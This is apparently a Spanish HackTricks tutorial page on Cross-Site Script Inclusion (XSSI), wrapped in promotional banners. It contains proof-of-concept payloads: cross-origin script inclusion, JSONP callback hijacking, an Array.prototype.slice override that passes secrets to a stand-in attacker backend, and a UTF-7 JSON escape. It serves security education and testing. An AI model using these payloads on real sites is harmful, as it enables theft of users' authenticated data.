XSSI (Inclusión de Script de Sitio Cruzado)

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
Obtén merchandising oficial de PEASS & HackTricks
Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

Información Básica

La Inclusión de Script de Sitio Cruzado (XSSI) es una vulnerabilidad que surge de la naturaleza de la etiqueta script en HTML. A diferencia de la mayoría de los recursos, que están sujetos a la Política de Mismo Origen (SOP), los scripts pueden ser incluidos desde diferentes dominios. Este comportamiento está destinado a facilitar el uso de bibliotecas y otros recursos alojados en servidores diferentes, pero también introduce un riesgo de seguridad potencial.

Características Clave de XSSI:

Bypass de SOP: Los scripts están exentos de la Política de Mismo Origen, lo que les permite ser incluidos en diferentes dominios.
Exposición de Datos: Un atacante puede explotar este comportamiento para leer datos cargados a través de la etiqueta script.
Impacto en JavaScript Dinámico/JSONP: XSSI es particularmente relevante para JavaScript dinámico o JSON con Padding (JSONP). Estas tecnologías a menudo utilizan información de "autoridad ambiental" (como cookies) para la autenticación. Cuando se realiza una solicitud de script a un host diferente, estas credenciales (por ejemplo, cookies) se incluyen automáticamente en la solicitud.
Fuga de Token de Autenticación: Si un atacante puede engañar al navegador de un usuario para que solicite un script desde un servidor que controlan, podrían acceder a información sensible contenida en estas solicitudes.

Tipos

JavaScript Estático - Representa la forma convencional de XSSI.
JavaScript Estático con Autenticación - Este tipo es distinto porque requiere autenticación para acceder.
JavaScript Dinámico - Involucra JavaScript que genera contenido dinámicamente.
No-JavaScript - Se refiere a vulnerabilidades que no implican JavaScript directamente.

La siguiente información es un resumen de https://www.scip.ch/en/?labs.20160414. Consulta para más detalles.

XSSI Regular

En este enfoque, la información privada se incrusta dentro de un archivo JavaScript de acceso global. Los atacantes pueden identificar estos archivos utilizando métodos como lectura de archivos, búsquedas de palabras clave o expresiones regulares. Una vez localizado, el script que contiene información privada puede ser incluido en contenido malicioso, permitiendo el acceso no autorizado a datos sensibles. A continuación se muestra una técnica de explotación de ejemplo:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

XSSI basado en JavaScript dinámico y XSSI autenticado en JavaScript

Estos tipos de ataques XSSI implican que la información confidencial se añada dinámicamente al script en respuesta a la solicitud de un usuario. La detección se puede realizar enviando solicitudes con y sin cookies y comparando las respuestas. Si la información difiere, puede indicar la presencia de información confidencial. Este proceso se puede automatizar utilizando herramientas como la extensión de Burp DetectDynamicJS.

Si los datos confidenciales se almacenan en una variable global, se pueden explotar utilizando métodos similares a los utilizados en XSSI Regular. Sin embargo, si los datos confidenciales se incluyen en una respuesta JSONP, los atacantes pueden secuestrar la función de devolución de llamada para recuperar la información. Esto se puede hacer manipulando objetos globales o configurando una función para que sea ejecutada por la respuesta JSONP, como se muestra a continuación:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>

<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Para variables que no residen en el espacio de nombres global, a veces se puede explotar la manipulación de prototipos. Esta técnica aprovecha el diseño de JavaScript, donde la interpretación del código implica recorrer la cadena de prototipos para localizar la propiedad llamada. Al sobrescribir ciertas funciones, como slice de Array, los atacantes pueden acceder y filtrar variables no globales:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

No-Script-XSSI

La investigación de Takeshi Terada introduce otra forma de XSSI, donde archivos No-Script, como CSV, se filtran entre orígenes al incluirse como fuentes en una etiqueta script. Instancias históricas de XSSI, como el ataque de 2006 de Jeremiah Grossman para leer un libro de direcciones completo de Google y la filtración de datos JSON de Joe Walker en 2007, resaltan la gravedad de estas amenazas. Además, Gareth Heyes describe una variante de ataque que implica JSON codificado en UTF-7 para escapar del formato JSON y ejecutar scripts, efectivo en ciertos navegadores:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!